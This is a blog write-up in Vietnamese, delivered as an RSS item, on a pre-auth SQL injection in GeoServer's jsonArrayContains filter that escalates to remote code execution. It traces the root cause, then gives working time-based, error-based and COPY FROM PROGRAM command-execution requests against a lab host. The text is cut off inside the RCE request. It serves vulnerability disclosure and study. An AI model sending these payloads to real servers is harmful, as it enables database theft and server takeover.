<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
    <channel>
        <title>Geoserver - Tag - g03m0n</title>
        <link>https://g03m0n.github.io/tags/geoserver/</link>
        <description>Geoserver - Tag - g03m0n</description>
        <generator>Hugo -- gohugo.io</generator><language>en-us</language><lastBuildDate>Sun, 16 Aug 2026 08:29:01 &#43;0800</lastBuildDate><atom:link href="https://g03m0n.github.io/tags/geoserver/" rel="self" type="application/rss+xml" /><item>
    <title>Geoserver - Pre-Auth SQLi lead to RCE</title>
    <link>https://g03m0n.github.io/posts/geoserver-preauth-sqli/</link>
    <pubDate>Sun, 16 Aug 2026 08:29:01 &#43;0800</pubDate>
    <author>g03m0n</author>
    <guid>https://g03m0n.github.io/posts/geoserver-preauth-sqli/</guid>
    <description><![CDATA[<h1 id="geoserver---preauth-sqli-lead-to-rce">Geoserver - Preauth SQLi lead to RCE</h1>
<h2 id="description-and-impact">Description and Impact</h2>
<table>
<thead>
<tr>
<th>Type</th>
<th>Version affected</th>
<th>Authentication required</th>
<th>CVSS</th>
</tr>
</thead>
<tbody>
<tr>
<td>SQL Injection</td>
<td>GeoTools gt-jdbc-postgis, versions &lt; 33.1, &lt;34.0, and &lt; 35.0., Geoserver &lt; 3.0.1, &lt;2.28.5, &lt;2.27.6</td>
<td>No</td>
<td></td>
</tr>
</tbody>
</table>
<p><code>GET /geoserver/wfs</code> (dịch vụ <strong>WFS – Web Feature Service</strong>) là chức năng cốt lõi để client (QGIS, web map, ứng dụng GIS&hellip;) truy vấn dữ liệu vector từ GeoServer. Tham số <code>cql_filter</code> cho phép lọc feature bằng ngôn ngữ <strong>CQL/ECQL</strong> — một cú pháp truy vấn thuộc tính/không gian rất mạnh, dùng thay cho <code>&lt;Filter&gt;</code> XML dài dòng của chuẩn OGC.</p>
<p>Hàm filter <code>jsonArrayContains(&lt;column&gt;, &lt;pointer&gt;, &lt;value&gt;)</code> ghi/chèn trực tiếp tham số vào câu lệnh SQL được tạo mà không thực hiện escape khi áp dụng trên các trường kiểu JSONB hoặc JSON của PostGIS 12+, dẫn đến lỗ hổng SQL Injection không cần xác thực .</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">geoserver</span><span style="color:#f92672">/</span><span style="color:#a6e22e">wfs</span><span style="color:#f92672">?</span><span style="color:#a6e22e">service</span><span style="color:#f92672">=</span><span style="color:#a6e22e">WFS</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">version</span><span style="color:#f92672">=</span><span style="color:#ae81ff">2.0</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">request</span><span style="color:#f92672">=</span><span style="color:#a6e22e">GetFeature</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">typeNames</span><span style="color:#f92672">=</span><span style="color:#a6e22e">sf</span><span style="color:#f92672">:</span><span style="color:#a6e22e">sensors</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&amp;</span><span style="color:#a6e22e">cql_filter</span><span style="color:#f92672">=</span><span style="color:#a6e22e">jsonArrayContains</span>(<span style="color:#a6e22e">data</span>,<span style="color:#e6db74">&#39;readings/value&#39;</span>,<span style="color:#e6db74">&#39;active&#39;</span>)
</span></span></code></pre></div><hr>
<h2 id="root-cause-analysis">Root cause analysis</h2>
<h3 id="source">Source</h3>
<p>Toàn bộ request tới GeoServer đi qua một DispatcherServlet duy nhất của Spring, được khai báo trong <code>src\web\app\src\main\webapp\WEB-INF\web.xml</code> để nhận mọi path <code>/*</code>:</p>
<p><code>src\web\app\src\main\webapp\WEB-INF\web.xml</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>    <span style="color:#75715e">&lt;!-- spring dispatcher servlet, dispatches all incoming requests --&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;servlet&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;servlet-name&gt;</span>dispatcher<span style="color:#f92672">&lt;/servlet-name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;servlet-class&gt;</span>org.springframework.web.servlet.DispatcherServlet<span style="color:#f92672">&lt;/servlet-class&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/servlet&gt;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;servlet-mapping&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;servlet-name&gt;</span>dispatcher<span style="color:#f92672">&lt;/servlet-name&gt;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">&lt;url-pattern&gt;</span>/*<span style="color:#f92672">&lt;/url-pattern&gt;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">&lt;/servlet-mapping&gt;</span>
</span></span></code></pre></div><p>Sau khi <code>DispatcherServlet</code> nhận được Request, nó phân tích đường dẫn và nhận ra đây là một truy vấn dành cho dịch vụ WFS/WCS. Hệ thống OWS của GeoServer lấy các tham số (Key-Value) trên URL ra. Khi thấy tham số <code>cql_filter</code>, nó tra cứu trong hệ thống Spring Bean và tìm thấy <code>CQLFilterKvpParser</code> – lớp được giao nhiệm vụ xử lý tham số này.</p>
<p><code>src\wfs\src\main\java\applicationContext.xml</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>    <span style="color:#f92672">&lt;bean</span> <span style="color:#a6e22e">id=</span><span style="color:#e6db74">&#34;cqlKvpParser&#34;</span> <span style="color:#a6e22e">class=</span><span style="color:#e6db74">&#34;org.geoserver.ows.kvp.CQLFilterKvpParser&#34;</span><span style="color:#f92672">/&gt;</span>
</span></span></code></pre></div><p>Bean này chỉ làm đúng một việc — chuyển raw string sang engine ECQL, không hề sanitize:</p>
<p><code>org.geoserver.ows.kvp.CQLFilterKvpParser</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> Object <span style="color:#a6e22e">parse</span>(String value) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> XCQL.<span style="color:#a6e22e">toFilterList</span>(value); 
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>Từ đây payload đi qua chuỗi gọi <code>XCQL.toFilterList</code> → <code>ECQL.toFilterList</code> → <code>CompilerUtil.parseFilterList</code> → <code>ECQLCompiler.compileFilterList</code>, tức là được đưa thẳng vào parser <code>JavaCC</code> của ngôn ngữ CQL — một lớp hoàn toàn không biết khái niệm SQL injection. Khi parser gặp giá trị nằm trong dấu nháy đơn (tham số thứ 3 của jsonArrayContains), nó chỉ đơn giản bóc dấu <code>'...'</code> bên ngoài rồi gói phần còn lại giữ nguyên payload thành object Literal:</p>
<p><code>org.geotools.filter.text.cql2.AbstractFilterBuilder</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> Literal <span style="color:#a6e22e">buildLiteralString</span>(<span style="color:#66d9ef">final</span> String tokenImage) {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Chỉ xóa &#39; &#39; bọc ngoài, giữ nguyên payload</span>
</span></span><span style="display:flex;"><span>        String strLiteral <span style="color:#f92672">=</span> removeQuotes(tokenImage);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> filterFactory.<span style="color:#a6e22e">literal</span>(strLiteral);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>Kết quả là một cây Filter chứa Literal kèm payload gốc, chưa qua bất kỳ bước lọc nào — được truyền tiếp cho tầng DataStore Dialect để dịch sang SQL. Với backend PostgreSQL, lớp đảm nhận là <code>PostgisFilterToSQL</code>, chuyên dịch các hàm như <code>jsonArrayContains</code> sang cú pháp PostGIS:</p>
<p><code>org.geotools.data.postgis.PostgisFilterToSQL</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> Object <span style="color:#a6e22e">visit</span>(PropertyIsEqualTo filter, Object extraData) {
</span></span><span style="display:flex;"><span>        Expression left <span style="color:#f92672">=</span> filter.<span style="color:#a6e22e">getExpression1</span>(); <span style="color:#75715e">// left là hàm JsonArrayContains</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// ...</span>
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Chuẩn bị dịch hàm này sang SQL</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">this</span>.<span style="color:#a6e22e">writeBinaryExpression</span>(left, leftContext);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> extraData;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p><code>left</code> (chứa Literal payload) sau đó đi qua một chuỗi dispatch nội bộ của GeoTools để tới nơi xử lý cuối cùng:</p>
<p><code>writeBinaryExpression()</code> → <code>left.accept(delegate)</code> → <code>visit(Function, ...)</code> (bộ điều phối chung cho mọi hàm) → <code>visitFunction()</code> trong <code>FilterToSqlHelper</code> → nhận diện <code>instanceof JsonArrayContainsFunction</code> → gọi <code>encodeJsonArrayContains()</code>.</p>
<h3 id="sink">Sink</h3>
<p>Ứng dụng kiểm tra version của Postgre xem có hỗ trợ hàm <code>json_path_exists(</code> không (version ≥ 12), nếu có thì sử dụng hàm nếu không rẽ sang toán tử containment <code>@&gt;</code>, không đi qua <code>constructEquality()</code>.</p>
<p><code>\gt-jdbc-postgis-34.1.jar\org.geotools.data.postgis\FilterToSqlHelper.java</code></p>
<p></p>
<p>Tại <code>constructEquality()</code>, Để nối payload  (<code>expected</code>) vào câu SQL, hàm <code>constructEquality()</code> đã sử dụng <code>.formatted()</code> để chèn trực tiếp biến vào chuỗi mà không bọc nó qua lớp bảo vệ <code>escapeJsonLiteral()</code>.</p>
<p><code>org.geotools.jdbc.FilterToSqlHelper</code></p>
<p></p>
<p>Sau đó query payload được đưa vào câu Select và thực thi:</p>
<p></p>
<p>Query được thực thi bằng hàm <code>runQuery()</code>:</p>
<p></p>
<p></p>
<h2 id="steps-to-reproduce">Steps to reproduce</h2>
<h3 id="điều-kiện-khai-thác">Điều kiện khai thác</h3>
<ul>
<li>Geoserver: Version &lt; 3.0.1, &lt;2.28.5, &lt;2.27.6</li>
<li>Postgre version ≥ 12</li>
<li>App có Layer public và chứa cột có kiểu dữ liệu <code>jsonb</code></li>
<li>GeoTools gt-jdbc-postgis, versions &lt; 33.1, &lt;34.0, and &lt; 35.0.</li>
</ul>
<h3 id="exploit">Exploit</h3>
<p><code>Time-Based</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">geoserver</span><span style="color:#f92672">/</span><span style="color:#a6e22e">ows</span><span style="color:#f92672">?</span><span style="color:#a6e22e">service</span><span style="color:#f92672">=</span><span style="color:#a6e22e">wfs</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">version</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1.0</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">request</span><span style="color:#f92672">=</span><span style="color:#a6e22e">GetFeature</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">typeName</span><span style="color:#f92672">=</span><span style="color:#a6e22e">lab</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">Apoi</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">CQL_FILTER</span><span style="color:#f92672">=</span><span style="color:#a6e22e">jsonArrayContains</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#a6e22e">data</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">Fa</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">OR</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">SELECT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">A</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">FROM</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">SELECT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">pg_sleep</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#66d9ef">CASE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">WHEN</span><span style="color:#f92672">%</span><span style="color:#ae81ff">201</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D1</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">THEN</span><span style="color:#f92672">%</span><span style="color:#ae81ff">204</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">ELSE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">200</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">END</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">a</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">IS</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">NOT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">NULL</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">OR</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">true</span> <span style="color:#a6e22e">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Accept</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Encoding</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gzip</span>, <span style="color:#a6e22e">deflate</span>, <span style="color:#a6e22e">br</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Host</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">localhost</span><span style="color:#f92672">:</span><span style="color:#ae81ff">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Agent</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">poc</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Connection</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">keep</span><span style="color:#f92672">-</span><span style="color:#a6e22e">alive</span>
</span></span></code></pre></div><p><code>jsonArrayContains(&quot;data&quot;, '/a', 'x&quot;)'') OR (SELECT * FROM (SELECT pg_sleep(CASE WHEN 1=1 THEN 4 ELSE 0 END)) a) IS NOT NULL OR (''1''=''1') = true</code></p>
<p></p>
<p><code>Error-Based</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">geoserver</span><span style="color:#f92672">/</span><span style="color:#a6e22e">ows</span><span style="color:#f92672">?</span><span style="color:#a6e22e">service</span><span style="color:#f92672">=</span><span style="color:#a6e22e">wfs</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">version</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1.0</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">request</span><span style="color:#f92672">=</span><span style="color:#a6e22e">GetFeature</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">typeName</span><span style="color:#f92672">=</span><span style="color:#a6e22e">lab</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">Apoi</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">CQL_FILTER</span><span style="color:#f92672">=</span><span style="color:#a6e22e">jsonArrayContains</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#a6e22e">data</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">Fa</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">AND</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">CAST</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">SELECT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">version</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">AS</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">NUMERIC</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D1</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">OR</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">271</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">true</span> <span style="color:#a6e22e">HTTP</span><span style="color:#f92672">/</span><span style="color:#ae81ff">1.1</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Accept</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Encoding</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">gzip</span>, <span style="color:#a6e22e">deflate</span>, <span style="color:#a6e22e">br</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Host</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">localhost</span><span style="color:#f92672">:</span><span style="color:#ae81ff">8080</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">User</span><span style="color:#f92672">-</span><span style="color:#a6e22e">Agent</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">poc</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">Connection</span><span style="color:#f92672">:</span> <span style="color:#a6e22e">keep</span><span style="color:#f92672">-</span><span style="color:#a6e22e">alive</span>
</span></span></code></pre></div><p><code>jsonArrayContains(&quot;data&quot;, '/a', 'x&quot;)'') AND CAST((SELECT version()) AS NUMERIC)=1 OR (''1''=''1') = true</code></p>
<p></p>
<h3 id="rce">RCE</h3>
<p>Điều kiện để có thể RCE cần user kết nối với database là <code>superadmin/postgre</code></p>
<p>Vì có thể khai thác bằng error-based kết hợp với stack query của Postgre, nên có thể RCE qua statement <code>COPY</code> và trả lại kết quả của command qua response.</p>
<p>Đầu tiên tạo bảng bất kỳ và thực thi command bằng query <code>COPY</code> sau đó lưu kết quả lại vào bảng vừa tạo dưới dạng hex:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#a6e22e">GET</span> <span style="color:#f92672">/</span><span style="color:#a6e22e">geoserver</span><span style="color:#f92672">/</span><span style="color:#a6e22e">ows</span><span style="color:#f92672">?</span><span style="color:#a6e22e">service</span><span style="color:#f92672">=</span><span style="color:#a6e22e">wfs</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">version</span><span style="color:#f92672">=</span><span style="color:#ae81ff">1.0</span><span style="color:#f92672">.</span><span style="color:#ae81ff">0</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">request</span><span style="color:#f92672">=</span><span style="color:#a6e22e">GetFeature</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">typeName</span><span style="color:#f92672">=</span><span style="color:#a6e22e">lab</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">Apoi</span><span style="color:#f92672">&amp;</span><span style="color:#a6e22e">CQL_FILTER</span><span style="color:#f92672">=</span><span style="color:#a6e22e">jsonArrayContains</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#a6e22e">data</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">Fa</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">2</span><span style="color:#a6e22e">C</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">x</span><span style="color:#f92672">%</span><span style="color:#ae81ff">22</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">COMMIT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">DROP</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">TABLE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">IF</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">EXISTS</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">cmd_out_tmp</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">CREATE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">TABLE</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">cmd_out_tmp</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">output</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">text</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">COPY</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">cmd_out_tmp</span><span style="color:#f92672">%</span><span style="color:#ae81ff">28</span><span style="color:#a6e22e">output</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">FROM</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">PROGRAM</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#a6e22e">whoami</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#a6e22e">COMMIT</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">B</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">--%</span><span style="color:#ae81ff">27</span><span style="color:#f92672">%</span><span style="color:#ae81ff">29</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#f92672">%</span><span style="color:#ae81ff">3</span><span style="color:#a6e22e">D</span><span style="color:#f92672">%</span><span style="color:#ae81ff">20</span><span style="color:#66d9ef">true</span> <span style="color:#a6e22e">HTTP</span><span 